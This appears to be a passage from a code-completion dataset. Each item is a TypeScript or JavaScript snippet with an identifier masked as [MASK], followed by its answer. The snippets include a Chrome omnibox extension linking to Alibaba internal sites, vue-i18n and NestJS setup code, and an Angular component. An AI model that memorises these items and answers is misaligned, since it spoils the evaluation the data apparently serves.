      [chrome.i18n.getMessage('dwfe')]: 'https://github.com/datafe',
      [chrome.i18n.getMessage('githubHome')]: 'https://github.com',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('yuque'), 'yuque', 'aliyuque'],
    display: chrome.i18n.getMessage('yuque'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorks')]: 'https://aliyuque.antfin.com/dataworks',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('commonLink'), 'link'],
    display: chrome.i18n.getMessage('commonLink'),
    urlMap: {
      [chrome.i18n.getMessage('okr')]: 'https://okr.alibaba-inc.com',
      [chrome.i18n.getMessage('dataTracker')]: 'https://data-tracker.alibaba-inc.com',
      [chrome.i18n.getMessage('mock')]: 'https://mock.alibaba-inc.com',
      [chrome.i18n.getMessage('f2etest')]: 'https://f2etest.alibaba-inc.com',
      [chrome.i18n.getMessage('tps')]: 'https://tps.alibaba-inc.com',
      [chrome.i18n.getMessage('uone')]: 'https://uone.alibaba-inc.com',
      [chrome.i18n.getMessage('df')]: 'https://df.alibaba-inc.com',
      [chrome.i18n.getMessage('normandy')]: 'https://cc.alibaba-inc.com/cloudAccountManage/masAccount?tab=RELATED',
      [chrome.i18n.getMessage('quanxi')]: 'https://quanxi-account.aliyun-inc.com/#/MyAccountManage',
      [chrome.i18n.getMessage('bffConsole')]: 'https://nrtp.alibaba-inc.com',
      [chrome.i18n.getMessage('bffPlatform')]: 'https://pre-bff.dw.alibaba-inc.com/bff-platform',
    },
  },
];

const relatedLinks = [
  {
    keywords: [chrome.i18n.getMessage('aliyunDeveloperCommunity'), 'developer', 'community'],
    display: chrome.i18n.getMessage('aliyunDeveloperCommunity'),
    urlMap: {
      [chrome.i18n.getMessage('bigData')]: 'https://developer.aliyun.com/bigdata/',
      [chrome.i18n.getMessage('dataWorks')]: 'https://developer.aliyun.com/group/dataworks/article',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('zhihu'), 'zhihu', 'zhi'],
    display: chrome.i18n.getMessage('zhihu'),
    urlMap: {
      [chrome.i18n.getMessage('cc')]: 'https://www.zhihu.com/column/c_128579185',
      [chrome.i18n.getMessage('dataWorks')]: 'https://www.zhihu.com/column/dataworks',
      [chrome.i18n.getMessage('dwfe')]: 'https://www.zhihu.com/column/dataworks-fe',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('juejin'), 'juejin', 'jue'],
    display: chrome.i18n.getMessage('juejin'),
    urlMap: {
      [chrome.i18n.getMessage('cc')]: 'https://juejin.cn/user/2414974667341287',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('medium'), 'medium', 'med'],
    display: chrome.i18n.getMessage('medium'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorks')]: 'https://medium.com/tag/dataworks',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('ata'), 'ata'],
    display: chrome.i18n.getMessage('ata'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorks')]: 'https://ata.atatech.org/community/team/229',
    },
  },
  {
    keywords: [chrome.i18n.getMessage('vscodeExtension'), 'vscode', 'extension'],
    display: chrome.i18n.getMessage('vscodeExtension'),
    urlMap: {
      [chrome.i18n.getMessage('dataWorks')]: 'https://marketplace.visualstudio.com/search?term=dataworks&target=VSCode&category=All%20categories&sortBy=Relevance',
    },
  },
];

const products = [
  { keywords: [chrome.i18n.getMessage('alibaba')], content: chrome.i18n.getMessage('alibaba'), description: chrome.i18n.getMessage('alibaba') },
  { keywords: [chrome.i18n.getMessage('aliyun')], content: chrome.i18n.getMessage('aliyun'), description: chrome.i18n.getMessage('aliyun') },
  { keywords: [chrome.i18n.getMessage('bigData')], content: chrome.i18n.getMessage('bigData'), description: chrome.i18n.getMessage('bigData') },
  { keywords: [chrome.i18n.getMessage('openApi'), 'open', 'api'], content: chrome.i18n.getMessage('openApi'), description: chrome.i18n.getMessage('openApi') },
  { keywords: [chrome.i18n.getMessage('dcd'), 'dcd'], content: chrome.i18n.getMessage('dcd'), description: chrome.i18n.getMessage('dcd') },
  { keywords: [chrome.i18n.getMessage('f2etest'), 'mock', 'test', '测试'], content: chrome.i18n.getMessage('f2etest'), description: chrome.i18n.getMessage('f2etest') },
  { keywords: [chrome.i18n.getMessage('mock'), 'mock'], content: chrome.i18n.getMessage('mock'), description: chrome.i18n.getMessage('mock') },
  { keywords: [chrome.i18n.getMessage('okr'), 'okr'], content: chrome.i18n.getMessage('okr'), description: chrome.i18n.getMessage('okr') },
  { keywords: [chrome.i18n.getMessage('uone'), 'uone', 'survey', '问卷'], content: chrome.i18n.getMessage('uone'), description: chrome.i18n.getMessage('uone') },
  { keywords: [chrome.i18n.getMessage('tps'), 'tps', 'upload'], content: chrome.i18n.getMessage('tps'), description: chrome.i18n.getMessage('tps') },
  { keywords: [chrome.i18n.getMessage('df'), 'df', 'security'], content: chrome.i18n.getMessage('df'), description: chrome.i18n.getMessage('df') },
  { keywords: [chrome.i18n.getMessage('normandy'), 'nuo', 'nuomandi', 'normandy'], content: chrome.i18n.getMessage('normandy'), description: chrome.i18n.getMessage('normandy') },
  { keywords: [chrome.i18n.getMessage('quanxi'), 'quan', 'quanxi', '全息'], content: chrome.i18n.getMessage('quanxi'), description: chrome.i18n.getMessage('quanxi') },
  { keywords: [chrome.i18n.getMessage('codeHome'), 'home'], content: chrome.i18n.getMessage('codeHome'), description: chrome.i18n.getMessage('codeHome') },
  { keywords: [chrome.i18n.getMessage('anpmHome'), 'anpm', 'home'], content: chrome.i18n.getMessage('anpmHome'), description: chrome.i18n.getMessage('anpmHome') },
  { keywords: [chrome.i18n.getMessage('npmHome'), 'npm', 'home'], content: chrome.i18n.getMessage('npmHome'), description: chrome.i18n.getMessage('npmHome') },
  { keywords: [chrome.i18n.getMessage('githubHome'), 'github', 'home'], content: chrome.i18n.getMessage('githubHome'), description: chrome.i18n.getMessage('githubHome') },
  { keywords: [chrome.i18n.getMessage('aoneHome'), 'aone', 'home'], content: chrome.i18n.getMessage('aoneHome'), description: chrome.i18n.getMessage('aoneHome') },
  { keywords: [chrome.i18n.getMessage('mdsHome'), 'mds', 'home'], content: chrome.i18n.getMessage('mdsHome'), description: chrome.i18n.getMessage('mdsHome') },
  { keywords: [chrome.i18n.getMessage('aemHome'), 'aem', 'home'], content: chrome.i18n.getMessage('aemHome'), description: chrome.i18n.getMessage('aemHome') },
  { keywords: [chrome.i18n.getMessage('dataTracker'), 'tracker'], content: chrome.i18n.getMessage('dataTracker'), description: chrome.i18n.getMessage('dataTracker') },
  { keywords: [chrome.i18n.getMessage('oneboxProjects')], content: chrome.i18n.getMessage('oneboxProjects'), description: chrome.i18n.getMessage('oneboxProjects') },
  { keywords: [chrome.i18n.getMessage('oneboxDataWorksPrivate'), 'onebox', 'private'], content: chrome.i18n.getMessage('oneboxDataWorksPrivate'), description: chrome.i18n.getMessage('oneboxDataWorksPrivate') },
  { keywords: [chrome.i18n.getMessage('uiIcon'), 'dcd', 'icon'], content: chrome.i18n.getMessage('uiIcon'), description: chrome.i18n.getMessage('uiIcon') },
  { keywords: [chrome.i18n.getMessage('uiPalette'), 'dcd', 'color'], content: chrome.i18n.getMessage('uiPalette'), description: chrome.i18n.getMessage('uiPalette') },
  { keywords: [chrome.i18n.getMessage('uiCommand'), 'dcd', 'command', 'uri'], content: chrome.i18n.getMessage('uiCommand'), description: chrome.i18n.getMessage('uiCommand') },
  { keywords: [chrome.i18n.getMessage('dwConsole'), 'console', '管控台', '控制台'], content: chrome.i18n.getMessage('dwConsole'), description: chrome.i18n.getMessage('dwConsole') },
  { keywords: [chrome.i18n.getMessage('dataWorksPublicDatasets'), 'public', 'datasets', '数据集', '公共'], content: chrome.i18n.getMessage('dataWorksPublicDatasets'), description: chrome.i18n.getMessage('dataWorksPublicDatasets') },
  { keywords: [chrome.i18n.getMessage('hologresConsole'), 'hologres', 'hologram', 'holo', 'console', '管控台', '控制台'], content: chrome.i18n.getMessage('hologresConsole'), description: chrome.i18n.getMessage('hologresConsole') },
  { keywords: [chrome.i18n.getMessage('mcConsole'), 'mc', 'maxcompute', 'console', '管控台', '控制台'], content: chrome.i18n.getMessage('mcConsole'), description: chrome.i18n.getMessage('mcConsole') },
  { keywords: [chrome.i18n.getMessage('paiConsole'), 'pai', 'ai', 'console', '管控台', '控制台'], content: chrome.i18n.getMessage('paiConsole'), description: chrome.i18n.getMessage('paiConsole') },
  { keywords: [chrome.i18n.getMessage('emrConsole'), 'emr', 'console', '管控台', '控制台'], content: chrome.i18n.getMessage('emrConsole'), description: chrome.i18n.getMessage('emrConsole') },
  { keywords: [chrome.i18n.getMessage('flinkConsole'), 'flink', 'console', '管控台', '控制台'], content: chrome.i18n.getMessage('flinkConsole'), description: chrome.i18n.getMessage('flinkConsole') },
  { keywords: [chrome.i18n.getMessage('holoweb'), 'holoweb', 'holo', 'hologres'], content: chrome.i18n.getMessage('holoweb'), description: chrome.i18n.getMessage('holoweb') },
  { keywords: [chrome.i18n.getMessage('cc')], content: chrome.i18n.getMessage('cc'), description: chrome.i18n.getMessage('cc') },
  { keywords: [chrome.i18n.getMessage('dataWorks'), 'dataworks', 'dw'], content: chrome.i18n.getMessage('dataWorks'), description: chrome.i18n.getMessage('dataWorks') },
  { keywords: [chrome.i18n.getMessage('dwfe')], content: chrome.i18n.getMessage('dwfe'), description: chrome.i18n.getMessage('dwfe') },
  { keywords: [chrome.i18n.getMessage('dataWorksSetting'), 'setting', '配置'], content: chrome.i18n.getMessage('dataWorksSetting'), description: chrome.i18n.getMessage('dataWorksSetting') },
  { keywords: [chrome.i18n.getMessage('newDataStudio'), 'ide', 'new', 'vscode', 'studio', '开发'], content: chrome.i18n.getMessage('newDataStudio'), description: chrome.i18n.getMessage('newDataStudio') },
  { keywords: [chrome.i18n.getMessage('newDataStudioPlugins'), 'ide', 'new', 'vscode', 'plugins', 'extensions', 'studio', '开发'], content: chrome.i18n.getMessage('newDataStudioPlugins'), description: chrome.i18n.getMessage('newDataStudioPlugins') },
  { keywords: [chrome.i18n.getMessage('dataStudio'), 'ide', 'ide2', 'studio', '开发'], content: chrome.i18n.getMessage('dataStudio'), description: chrome.i18n.getMessage('dataStudio') },
  { keywords: [chrome.i18n.getMessage('dataMap'), 'dmc', 'map', '地图'], content: chrome.i18n.getMessage('dataMap'), description: chrome.i18n.getMessage('dataMap') },
  { keywords: [chrome.i18n.getMessage('dataService'), 'dataservice', 'ds', '服务'], content: chrome.i18n.getMessage('dataService'), description: chrome.i18n.getMessage('dataService') },
  { keywords: [chrome.i18n.getMessage('dataAnalytics'), 'da', 'sqlx', 'analyze', 'analytics', '分析'], content: chrome.i18n.getMessage('dataAnalytics'), description: chrome.i18n.getMessage('dataAnalytics') },
  { keywords: [chrome.i18n.getMessage('dgc'), 'dgc', '治理'], content: chrome.i18n.getMessage('dgc'), description: chrome.i18n.getMessage('dgc') },
  { keywords: [chrome.i18n.getMessage('tag'), 'tag', '标签'], content: chrome.i18n.getMessage('tag'), description: chrome.i18n.getMessage('tag') },
  { keywords: [chrome.i18n.getMessage('di'), 'di', 'di2', 'integrate', '集成'], content: chrome.i18n.getMessage('di'), description: chrome.i18n.getMessage('di') },
  { keywords: [chrome.i18n.getMessage('openPlatform'), 'open', 'platform', '开放平台'], content: chrome.i18n.getMessage('openPlatform'), description: chrome.i18n.getMessage('openPlatform') },
  { keywords: [chrome.i18n.getMessage('model'), 'model', 'kimball', '建模'], content: chrome.i18n.getMessage('model'), description: chrome.i18n.getMessage('model') },
  { keywords: [chrome.i18n.getMessage('bffConsole'), 'bff', 'nrtp', '哈勃'], content: chrome.i18n.getMessage('bffConsole'), description: chrome.i18n.getMessage('bffConsole') },
  { keywords: [chrome.i18n.getMessage('bffPlatform'), 'bff', 'platform'], content: chrome.i18n.getMessage('bffPlatform'), description: chrome.i18n.getMessage('bffPlatform') },
  { keywords: [chrome.i18n.getMessage('dqc'), 'dqc', 'quality', '质量'], content: chrome.i18n.getMessage('dqc'), description: chrome.i18n.getMessage('dqc') },
  { keywords: [chrome.i18n.getMessage('commonHeader'), 'header', 'common'], content: chrome.i18n.getMessage('commonHeader'), description: chrome.i18n.getMessage('commonHeader') },
];

// chrome.omnibox.setDefaultSuggestion({
//   description: chrome.i18n.getMessage('console'),
// });

const intersection = (array1 = [], array2 = []) => {
  const _array2 = array2?.map?.((obj) => obj?.toLowerCase ? obj?.toLowerCase?.() : obj);
  return array1?.filter?.(value => {
    const _value = value?.toLowerCase ? value?.toLowerCase?.() : value;
    return _array2?.includes?.(_value);
  }) || [];
}

const notIntersection = (array1 = [], array2 = []) => {
  const inter = intersection(array1, array2);
  let result = [];

  const _inter = inter?.map?.((obj) => obj?.toLowerCase ? obj?.toLowerCase?.() : obj);

  if (_inter?.length > 0) {
    array1?.forEach?.(value => {
      const _value = value?.toLowerCase ? value?.toLowerCase?.() : value;
      if (!_inter?.includes?.(_value)) {
        result?.push?.(value);
      }
    });
    array2?.forEach?.(value => {
      const _value = value?.toLowerCase ? value?.toLowerCase?.() : value;
      if (!_inter?.includes?.(_value)) {
        result?.push?.(value);
      }
    });
  } else {
    result = [...array1, ...array2];
  }
  return result;
}

let tempText;

// default suggestion
chrome.omnibox.onInputStarted.addListener(function () {
});

chrome.omnibox.onInputChanged.addListener(function (text, suggest) {

  const textArr = text?.toLowerCase?.()?.split?.(' ') || [];

  const set = new Set<{ content: string; description: string; deletable?: boolean; searchedCounts?: number }>();

  const getDescription = (content: string, url: string,  [MASK] ?: string) => {
    if ( [MASK]  && doNotShowUrlList?.includes?.( [MASK] )) return content;
    if ( [MASK]  && doNotDecorateDescriptionList?.includes?.( [MASK] )) return `${content} ${url}`;
    return `${content} <url>${url}</url>`;
  }

  const calMatch = (str: string, keyword: string) => {
    let result = str;
    try {
      if (!keyword) return str;
      let _keyword = keyword?.trim?.();
      result = str?.replaceAll ? str?.replaceAll?.(_keyword, `<match><dim>${_keyword}</dim></match>`) : str;
    } catch (e) {
      // may happen url is not formatted
    }
    return result;
  }

  const allBizLinks = bizLinks.concat(devBizLinks);

  allBizLinks.forEach(region => {
    products.forEach(product => {
      if (!region?.urlMap?.[product.content]) return;
      const searched = intersection((region?.keywords || [])?.concat?.(product?.keywords || []), textArr);
      if (searched?.length > 0) {
        const description = getDescription(`${region.display} ${product.description}`, region.urlMap?.[product.content], region?.display);
        set.add({ content: `${region.display} ${product.content}`, description: calMatch(description, text), searchedCounts: searched?.length || 0 });
      }
    });
  });

  const otherLinks = devLinks.concat(relatedLinks);

  otherLinks.forEach(region => {

    if (region?.urlMap?.common) {
      const searched = intersection((region?.keywords || []), textArr);
      if (searched?.length > 0) {
        const content = region.display;
        const description = getDescription(`${region.display}`, region.urlMap?.common, region?.display);
        set.add({ content, description: calMatch(description, text), searchedCounts: searched?.length || 0 });
      }
    }

    products.forEach(product => {
      if (!region?.urlMap?.[product.content]) return;
      const searched = intersection((region?.keywords || [])?.concat?.(product?.keywords || []), textArr);
      if (searched?.length > 0) {
        const content = `${region.display} ${product.content}`;
        const description = getDescription(`${region.display} ${product.description}`, region.urlMap?.[product.content], region?.display);
        set.add({ content, description: calMatch(description, text), searchedCounts: searched?.length || 0 });
      }
    });
  });

  const result: chrome.omnibox.SuggestResult[] = Array.from(set) || [];

  result.sort((a, b) => (b as any)?.searchedCounts - (a as any)?.searchedCounts);
  result?.forEach?.((item: any) => delete item?.searchedCounts); // remove searchedCounts

  suggest(result);

  tempText = text;

});

chrome.omnibox.onInputEntered.addListener(function (text, disposition) {

  const textArr = text?.split?.(' ') || [];
  let restVars = [];

  let link;

  const allBizLinks = bizLinks.concat(devBizLinks);

  allBizLinks.findIndex(region => {
    return products?.findIndex?.(product => {
      const content = `${region.display} ${product.content}`;
      if (text?.toLowerCase?.() === content?.toLowerCase?.()) {
        link = region?.urlMap?.[product?.content];
        if (link) return true;
      }
    }) !== -1;
  });

  if (!link) {
    const otherLinks = devLinks.concat(relatedLinks);
    otherLinks.findIndex(region => {
      let existed = products?.findIndex?.(product => {
        const content = `${region.display} ${product.content}`;
        if (text?.toLowerCase?.() === content?.toLowerCase?.()) {
          link = region?.urlMap?.[product?.content];
          if (link) return true;
        }
      }) !== -1;

      if (existed) return true;

      if (region?.urlMap?.common) {

        if (text?.toLowerCase?.() === region?.display?.toLowerCase?.()) {
          link = region?.urlMap?.common;
          restVars = notIntersection(region?.keywords, tempText?.split?.(' ') || []);
          return true;
        } else if (intersection(region?.keywords, textArr)?.length > 0) {
          link = region?.urlMap?.common;
          restVars = notIntersection(region?.keywords, textArr);
          return true;
        }
      }
    });
  }

  if (link) {

    // check path var, starting from 1
    for (let i = 1; i < 10; i++) {
      const flag = `__var${i}__`;
      if (link?.includes?.(flag)) {
        link = link?.replaceAll?.(flag, restVars?.[i - 1] || '');
      } else break;
    }

    chrome?.tabs?.create?.({ url: link });
  }
  else chrome?.tabs?.create?.({ url: 'https://dataworks.console.aliyun.com/' }); // default 至管控台

});

chrome.omnibox.onInputCancelled.addListener(function () {

});

chrome.omnibox.onDeleteSuggestion.addListener(function (text) {

});



",regionDisplay
608,"import { createI18n } from 'vue-i18n';
import messages from '@intlify/unplugin-vue-i18n/messages';

const defaultLocale = 'en';

const supportedLocales = Object.keys(messages as Object);

// 3. Function to get the initial locale with browser language fallback
function getStartingLocale() {
    const localStorageKey = 'user-locale';
    const  [MASK]  = localStorage.getItem(localStorageKey);

    // Priority 1: Check localStorage
    // Use saved locale if it exists and is supported
    if ( [MASK]  && supportedLocales.includes( [MASK] )) {
        console.log(`Using saved locale: ${ [MASK] }`); // Optional log
        return  [MASK] ;
    }

    // Priority 2: Check browser language
    // Use browser language if it's supported (checking only the primary language code)
    if (navigator.language) {
        const browserLangCode = navigator.language.split('-')[0]; // Gets 'en' from 'en-US', 'fr' from 'fr-FR', etc.
        if (supportedLocales.includes(browserLangCode)) {
            console.log(`Using browser locale: ${browserLangCode}`); // Optional log
            // Optional: You might want to save this detected browser language
            // to localStorage for the next visit:
            // localStorage.setItem(localStorageKey, browserLangCode);
            return browserLangCode;
        } else {
            console.log(`Browser locale '${browserLangCode}' not supported.`); // Optional log
        }
    } else {
        console.log('Browser language detection not available.'); // Optional log
    }


    // Priority 3: Fallback to default locale
    console.log(`Using default locale: ${defaultLocale}`); // Optional log
    return defaultLocale;
}

// --- Create i18n Instance ---

const i18n = createI18n({
    legacy: false, // Use Composition API mode (important for Vue 3)
    locale: getStartingLocale(), // Set the initial locale based on the logic above
    fallbackLocale: defaultLocale, // Fallback locale if translation key is missing
    availableLocales: supportedLocales, // Let vue-i18n know which locales are available
    messages: messages // Your loaded translation messages
    // Optional: uncomment to suppress console warnings
    // silentTranslationWarn: process.env.NODE_ENV === 'production',
    // missingWarn: process.env.NODE_ENV === 'production',
    // silentFallbackWarn: process.env.NODE_ENV === 'production',
    // fallbackWarn: process.env.NODE_ENV === 'production',
});

// Optional: Set initial HTML lang attribute
// This runs once when the module is loaded.
// If the locale changes later, you'll need to update it elsewhere (e.g., in a watcher or component).
try {
    document.documentElement.lang = i18n.global.locale.value;
} catch (e) {
    console.error(""Could not set initial document lang attribute."", e);
}


export default i18n;",savedLocale
609,"import { MiddlewareConsumer, Module, NestModule } from '@nestjs/common';
import { GraphQLModule } from '@nestjs/graphql';
import { TypeOrmModule } from '@nestjs/typeorm';
import { ConfigModule, ConfigService } from '@nestjs/config';
import { ScheduleModule } from '@nestjs/schedule';
import { join } from 'path';
import {
  GraphqlInterceptor,
  SentryInterceptor,
  SentryModule,
} from '@ntegral/nestjs-sentry';
import { APP_INTERCEPTOR } from '@nestjs/core';

import { UsersModule } from './modules/users/users.module';
import { AuthModule } from './modules/auth/auth.module';
import { ClaimsModule } from './modules/claims/claims.module';
import { SourcesModule } from './modules/sources/sources.module';
import { TagsModule } from './modules/tags/tags.module';
import { AttributionsModule } from './modules/attributions/attributions.module';
import { AuthAPIKeyMiddleware } from './modules/auth/auth-api-key.middleware';
import { KnowledgeBitsModule } from './modules/knowledge-bits/knowledge-bits.module';
import { KnowledgeBitVotesModule } from './modules/knowledge-bit-votes/knowledge-bit-votes.module';
import { ArgumentsModule } from './modules/arguments/arguments.module';
import { ArgumentCommentsModule } from './modules/argument-comments/argument-comments.module';
import { OpinionsModule } from './modules/opinions/opinions.module';
import { TwitterModule } from './modules/twitter/twitter.module';
import { AlchemyModule } from './modules/alchemy/alchemy.module';
import { IPFSModule } from './modules/ipfs/ipfs.module';
import { FrontendModule } from './modules/frontend/frontend.module';
import typeormConfig from '../ormconfig';

@Module({
  imports: [
    ConfigModule.forRoot({ isGlobal: true }),
    GraphQLModule.forRoot({
      autoSchemaFile: join(process.cwd(), 'src/schema.gql'),
      sortSchema: true,
      definitions: {
        path: join(process.cwd(), 'src/graphql.ts'),
      },
      playground: {
        settings: {
          'request.credentials': 'include',
        },
      },
      context: ({ req }) => ({ req }),
      cors: {
        origin: true,
        credentials: true,
      },
    }),
    TypeOrmModule.forRoot(typeormConfig),
    ScheduleModule.forRoot(),
    SentryModule.forRootAsync({
      imports: [ConfigModule],
      useFactory: async ( [MASK] : ConfigService) => ({
        dsn:  [MASK] .get('SENTRY_DSN'),
        environment:  [MASK] .get('APP_ENV'),
      }),
      inject: [ConfigService],
    }),
    UsersModule,
    AuthModule,
    ClaimsModule,
    SourcesModule,
    TagsModule,
    AttributionsModule,
    KnowledgeBitsModule,
    KnowledgeBitVotesModule,
    ArgumentsModule,
    ArgumentCommentsModule,
    OpinionsModule,
    TwitterModule,
    AlchemyModule,
    IPFSModule,
    FrontendModule,
  ],
  providers: [
    {
      provide: APP_INTERCEPTOR,
      useFactory: () => new GraphqlInterceptor(),
    },
    {
      provide: APP_INTERCEPTOR,
      useFactory: () => new SentryInterceptor(),
    },
  ],
})
export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer.apply(AuthAPIKeyMiddleware).forRoutes('*');
  }
}
",cfg
610,"import { Component, OnDestroy } from '@angular/core';
import { Subscription } from 'rxjs/Subscription';

import { AlertService } from '../shared/alert.service';

@Component({
  selector: 'app-alert',
  templateUrl: './alert.component.html',
  styleUrls: ['./alert.component.css']
})
export class AlertComponent implements OnDestroy {

  private subscription: Subscription;
    message: any;

  constructor(private  [MASK] : AlertService) { 
      // subscribe to alert messages
      this.subscription =  [MASK] .getMessage().subscribe(message => { 
        this.message = message; 
        setTimeout(() => {
          this.dismissAlert()
        }, 5000);
      });
  }

  ngOnDestroy(): void {
      // unsubscribe on destroy to prevent memory leaks
      this.subscription.unsubscribe();
  }

  dismissAlert(): void {
    this.message = null;
  }

}
",alertService
611,"import { User, idType, formFieldDict } from ""./user"";
// import { BOOKS_API } from ""./google-books-client.js"";

// async function showBooksFromInput() {
//   const posts = document.getElementById(""posts"") as HTMLElement;
//   const input = document.getElementById(""booksName"") as HTMLFormElement;

//   try {
//     const booksName = input.value != """" ? input.value : ""react native"";
//     input.value = """";
//     posts.innerHTML = """";
//     const books: Book[] = await BOOKS_API.getBooks(booksName, 9);
//     books.forEach((book) => {
//       const innerHtml = innerHtmlCode(book);
//       posts.insertAdjacentHTML(""beforeend"", innerHtml);
//       addFavListener(book);
//     });
//   } catch (err) {
//     console.log(`Error:`, err);
//   }
// }

// showBooksFromInput();

// async function addFavListener(user: User) {
//   const favBtnsCollection = document.getElementsByClassName(""favBtnHolder"");
//   const favBtns = [...favBtnsCollection];
//   const favBtn = favBtns[favBtns.length - 1];

//   if (!book.checkFav) {
//     const books: Book[] | undefined = await BooksRepo.findAll();
//     if (books) {
//       books.forEach((BookElem) => {
//         if (BookElem.id === book.id) {
//           favBtn.innerHTML = `<img src=""img/heart.png"" class=""favBtn"">`
//           return;
//         }
//       });
//     }
//     book.checkFav = true;
//   }

//   favBtn.addEventListener(""click"", () => {
//     const heartBtn = favBtn.childNodes[0] as HTMLElement;
//     if (heartBtn.className.length > 6) {
//       favBtn.innerHTML = `<img src=""img/heart.png"" class=""favBtn"">`;
//       BooksRepo.create(book);
//     } else {
//       favBtn.innerHTML = `<img src=""img/heart.png"" class=""favBtn hoverFavBtn"">`;
//       BooksRepo.delete(book.id);
//     }
//   })

// }

// async function showUserPage() {
//     const indexBanner = document.getElementById(""index-banner"") as HTMLElement;
//     const users: User[] | undefined = await UsersRepo.findAll();
//     if (users) {
//       users.forEach((user) => {
//         const innerHtml = innerHTMLUser(user);
//         indexBanner.insertAdjacentHTML(""beforeend"", innerHtml);
//       });
//     }
// }

function innerHTMLUser(user: User) {
    return `
    <article class=""article"">
    <div class=""title"">
        <h3>${user.firstName} ${user.lastName}</h3>
    </div>
    
    <img src=""${user.imageUrl}""></img>

    <summary class=""summary"">
        <span>Username: ${user.username}</span>
        <span>Gender: ${user.gender}</span>
        <span>Role: ${user.userRole}</span>
        <span>Description: ${user.description}</span>
        <span>Status: ${user.status}</span>
        <span>Registration Date: ${user.registrationTimestamp}</span>
        <span>Last Modification: ${user.modificationTimestamp}</span>
    </summary>
        
</article>
    `;
}

function showSignin() {
    const indexBanner = document.getElementById(""index-banner"") as HTMLElement;
    indexBanner.innerHTML = `
        <div class=""container"">
            <h1 class=""header center orange-text"">Sign in</h1>

            <div class=""row"">
                <form id=""add-post-form"" class=""col s12"">
                    <div class=""row"">
                        <input id=""id"" name=""id"" hidden>
                    </div>
                    <div class=""row"">
                        <div class=""input-field col s6"">
                            <input id=""fName"" name=""fName"" type=""text"" class=""validate"" required>
                            <label for=""fName"">First Name</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Write your first name</span>
                        </div>
                        <div class=""input-field col s6"">
                            <input id=""lName"" name=""lName"" type=""text"" class=""validate"" required>
                            <label for=""lName"">Last Name</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Write your last name</span>
                        </div>
                    </div>
                    <div class=""row"">
                        <div class=""input-field col s6"">
                            <input id=""uName"" name=""uName"" type=""text"" class=""validate"" required>
                            <label for=""uName"">Username</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Write your username</span>
                        </div>
                        <div class=""input-field col s6"">
                            <input id=""pWord"" name=""pWord"" type=""<PASSWORD>"" class=""validate"" required>
                            <label for=""pWord"">Password</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Write your password</span>
                        </div>
                    </div>
                    <div class=""row"">
                        <div class=""input-field col s12"">
                            <input id=""gender"" name=""gender"" type=""text"" class=""validate"" required>
                            <label for=""gender"">Gender</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Choose your gender from Male, Female and Other</span>
                        </div>
                    </div>
                    <div class=""row"">
                        <div class=""input-field col s12"">
                            <input id=""imageUrl"" name=""imageUrl"" type=""url"" class=""validate"">
                            <label for=""imageUrl"">Blog Image URL</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Write the URL of the blog image</span>
                        </div>
                    </div>
                    <div class=""row"">
                        <div class=""input-field col s12"">
                            <input id=""shortDescription"" name=""shortDescription"" type=""text"" class=""shortDescription"">
                            <label for=""shortDescription"">Short Description</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Write a short description</span>
                        </div>
                    </div>
                    <button class=""btn waves-effect waves-light"" type=""submit"" name=""submit"">Sign in</button>
                </form>
            </div>
        </div>
    `;
  }

  function showLogin() {
    const indexBanner = document.getElementById(""index-banner"") as HTMLElement;
    indexBanner.innerHTML = `
    <div class=""container"">
            <h1 class=""header center orange-text"">Login</h1>

            <div class=""row"">
                <form id=""add-post-form"" class=""col s12"">
                    <div class=""row"">
                        <input id=""id"" name=""id"" hidden>
                    </div>
                    <div class=""row"">
                        <div class=""input-field col s12"">
                            <input id=""uName"" name=""uName"" type=""text"" class=""validate"" required>
                            <label for=""uName"">Username</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Write your username</span>
                        </div>
                    </div>
                    <div class=""row"">
                        <div class=""input-field col s12"">
                            <input id=""pWord"" name=""pWord"" type=""<PASSWORD>"" class=""validate"" required>
                            <label for=""pWord"">Password</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Write your password</span>
                        </div>
                    </div>
                    <div class=""row"">
                        <div class=""input-field col s12"">
                            <input id=""cpWord"" name=""cpWord"" type=""<PASSWORD>"" class=""validate"" required>
                            <label for=""cpWord"">Confirm Password</label>
                            <span class=""helper-text"" data-error=""wrong"" data-success=""right"">Write again your password</span>
                        </div>
                    </div>
                    <button class=""btn waves-effect waves-light"" type=""submit"" name=""submit"">Login</button>
                </form>
            </div>
        </div>
    `;
  }

  /*function getPostFormSnapshot(): User {
    const formData = new FormData(this.addPostForm);
    const np: formFieldDict<string> = {};
    formData.forEach((value, key) => {
      np[key] = value.toString();
    })
    return new User(parseInt(np.id), np.firstName, np.lastName, np.username, np.password, np.gender, np.userRole, np.imageUrl, np.description, np.status, np.registrationTimestamp, np.modificationTimestamp);
  }

  function validateForm = (event: Event) => {
    const validationResult: ValidationResult<User> = {};
    const config = AppStateStore.postFormValidationConfig;
    const formSnapshot = getPostFormSnapshot();
    let field: keyof ValidationConfig<User>;
    for (field in config) {
      const validator = config[field];
      if(validator !== undefined) {
        try{
          if(Array.isArray(validator)) {
            for(const correct of validator) {
              try {
                correct(formSnapshot[field]!.toString(), field);
              } catch(err){
                if(validationResult[field] === undefined) {
                  validationResult[field] = [] as Array<string>;
                }
                validationResult[field]!.push(err as string);
              }
             
            }
          }
          else {
            validator(formSnapshot[field]!.toString(), field);
          }
        } catch(err) {
          validationResult[field] = [err as string];
        }
      }
    }
    showValidationErrors(validationResult);
  }

  function showValidationErrors(validationResult: ValidationResult<User>) {
    AppStateStore.postFormErrors = [];
    let field: keyof ValidationResult<User>;
    for (field in validationResult) {
      const filedErrors = validationResult[field];
      if (filedErrors !== undefined) {
        for (const err of filedErrors) {
